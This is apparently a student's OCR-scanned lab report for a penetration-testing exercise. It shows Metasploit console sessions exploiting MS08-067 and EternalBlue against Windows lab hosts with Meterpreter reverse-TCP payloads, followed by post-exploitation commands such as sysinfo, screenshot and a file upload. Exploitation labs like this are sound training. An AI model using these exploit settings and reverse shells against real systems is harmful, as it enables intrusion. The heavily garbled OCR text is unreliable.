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: # nmap .168.18.14
Starting Mmap 7.76 http map.org } at 2024-84-88 17:49 EDT

Hote: Host seems down. If it is really up, but blocking our ping probes, try -Pm
Nmap done: 1 IP address (@ hosts up) scanned in 8.52 seconds

STEP 1
In this step, | used the nmap command in order to scan the target system to see what ports

were available.

STEP 2

In this step, | was unable to identify a port that was available but | continued on with the
assignment.

STEP 3



2 = use ms@s8 867 netapl

# MName Disclosure Date Rank Check Descri
rtion

8 exploit/windows/smbs/ms88 867 netapli 2008-18-28 [ Yes MS88-8
37 Microsoft Server Service Relative Path Stack Corruption

Using exploit/windows/smb/msB88 867 netapi

In this step, | launched the Metasploit Framework and found the exploit module
ms08_067_netapi.

STEP 4

sf5 exploitl ) = set LHOST 192.168.168.14
HOST == 192.168.

sf5 exploiti ) = set LPORT 4428

PORT == 4428

STEP 5

|.L-|'_l,|'1 gad wi ndows /meter e eter/reve

/meterpreter/reverse top
msf5 exploit( ) = show options

Module options {(exploit/windows,/smb/ms@8 @67 netapi):
Name Current Setting
RHOSTS ¥ The target address range or CIDR idemtifi

RPORT 445 ¥ The SMB service port (TCP)

SMEPIPE BROWSER The pipe name to use (B SER, SRVSVC)

Payload options (windows/meterpreter/reverse tcp)
Hame Current Setting Required Description

Exit technigue {(Accepted:
d, process, none)
LHOST 192.166.168.14 YES The listen address {an interfac

specified)




In this step, | verified that all of my information was in the correct location before starting the
exploit.

STEP 6-7

nsfs exploit( } = exploit

Started reverse TCP handler on 192.168.16.13:4

192.168.10.14:445 - Automatically detecting th

192.168.10.14:445 - Fingerprint: Windows XP - Service Pack 3 - lang:Unknown

1592.168.10.14:445 - We could not detect the language pack, defaulting to Eng
lish

192. .18.14:445 - Selects lfarget: Windows XP 5P3 English (Always X )

192.168.108.14:445 - Atte ing to trigger the vulnerability...

Sending stage ’9 by to 192.168.10.14

ter ened (192.168.10.13:4428 -> 192.168.10.14:1038) at 2

B24-84-89 19:18: ]

meterpreter =

nter the new date: (mm-dd-yy) 84-89-24
04 -09-24

C W WINDOWSY system3

» current time is:

In this step, | was able to establish a connection with the exploit module and was able to obtain

information such as the current date and time.

STEP 8-10

meterpreter = getsid
server SID: 5-1-3-18
meterpreter = getuid
Server username: NT .I'I.LITHI.'J'.‘lP.TT"r“'
meterpreter > sysinfo =
puter + DRG-JLF9TOGWXFM

0s : Windows XP (Build 2688, Service Pack 3}).
Architecture v xBE

system Language : en US
Domain : WORKGROUP
Logged On Users @ 2

Meterp ] : XB6/windows
meter

In this screenshot, | was able to obtain the SID information and the system information about

the target machine.



TASK B

STEP 1
sf5 exploit( } = show options
odule options (exploit/windows/smb/msl7 816 eternalblue}:

MName Current 5etting HEqurEd

BHOST S 92. H.18. Y The target address range or CIDR id
sntifier

RPORT 345 ¥ The target port (TCP)

SMEDomain . {(Optional) The Windows domain to us

for authentication

SMEPass (Optional) The password for the spe
ified username

SMBUsef {Optional) The username to authenti
ate as

VERIFY ARCH true Check if remote architecture matche

)loit Target.

VERIFY TARGET tTrue Check if remote 05 matches exploit

arget.

rayload options (wine 4/meterpreter/reverse tcp):

'
Fayload options (wWindows Mfmeterpreter/reverse tcp):

Name Current Setting Reguired Description
EXITFUNC th YE Exit technique (Accepted: °
p S, N
8.18.13 yes The listen address [an interf:

The listen port

Server 2008 R2 (x64) All Service Pa

re
.18.11:445 Host is likel 'ULMERABLE to MS17-8180! wWindows
Standard 7600 x64 (64-bit)

.18.11:445 - Connecting to target for exploitation.



168.18 - Trying exploit with 12 Groom Allocations.
168.18.11:445 - Sending all but last fragment of expleoit packet
168.18.11:445 - Starting non-paged pool grooming
168.18.11: = ding SMBvZ buffers
2.168.18.11:445 - Closing SMBv1 connection creating free hole adjacent to
! buffer.
?.168.18.11:445 - Sending final SMBvZ buffers.
2.168.10.11:445 - Sending last fragment of exploit packet!
168.18.11: - Receiving response from exploit packet
Z2.168.18 - ETERNALBLUE overwrite completed suc sfully (6xCBO8006

.168.18 - Sending egg to corrupted connection.

.168.18. - Triggering free of corrupted buffer
Sending stage 6483 bytes) to 192.168.18.11
Meterpreter session 1 opened (192.168.10.13:4428 -> 192.168.16.11:49157) at
4-09 19:54:44 -Bp408
?.168.10.11:445 -

92.168.10.11:445 -

92.168.18.11:445 -

1
—+
]

In this step, | searched for the EternalBlue exploit module. Once | found the module, | plugged

my desired IP address and LPORT, as well as set my payload as a reverse tcp connection.

Once | verified that my information was in the correct spot, | executed the exploit onto the target

machine.

STEP 2-5

meterpreter = localtime
2024-04-89 :57:35.652 Eastern Daylight Time (UTC-588)

Server 5ID:

meterpreter = sinfo

Computer » W20B8R2

0s : Windows 2008 R2 (Build 7680).

Architecture XG4

System Language : en US
Domain :» WORKGROUP
Logged On Users : @
Meterpreter : X644/ windows
meterpreter = getpid

Current pid: 1188

meter

In these steps, | was able to locate the information | needed to find such as the SID, the date

and time, current processor, and the system information.

TASK C



STEP 1

wrick@el.exe

se exploit/multi/handler
ploit| ) = set LHOST 192.168.16.13
192.168.18.13
explolt| T? = set LPORT 4428
4428 s
sfS exploit( ) > set payload wricke@l.exe
The value specified for paylo
5 exploit{ ) = set
=> windows/meterpreter
exploit( )} > show options

In this step,l input the information in order to establish a reverse tcp connection to the target
machine. The LPORT used in this step is 4428.

STEP 3

Priv: Times

timestoamp

meterpreter > screenshot
In this step, | was able to establish a connection and entered the screenshot command in order

to take a screenshot of the target machine.

meterp > upload IMADEIT-wrick@@l.txt c:\\windowsy\system3z2
Awindows tem3

uploading : IMADEIT-wrickegl.txt -=
uploaded : IMADEIT-wrickegl.txt -»> c:\wWindows\system32\IMADEIT-wrickeol. 1ty

In this step, | uploaded my text file that contained a timestamp, into the target machine system

using the upload command.



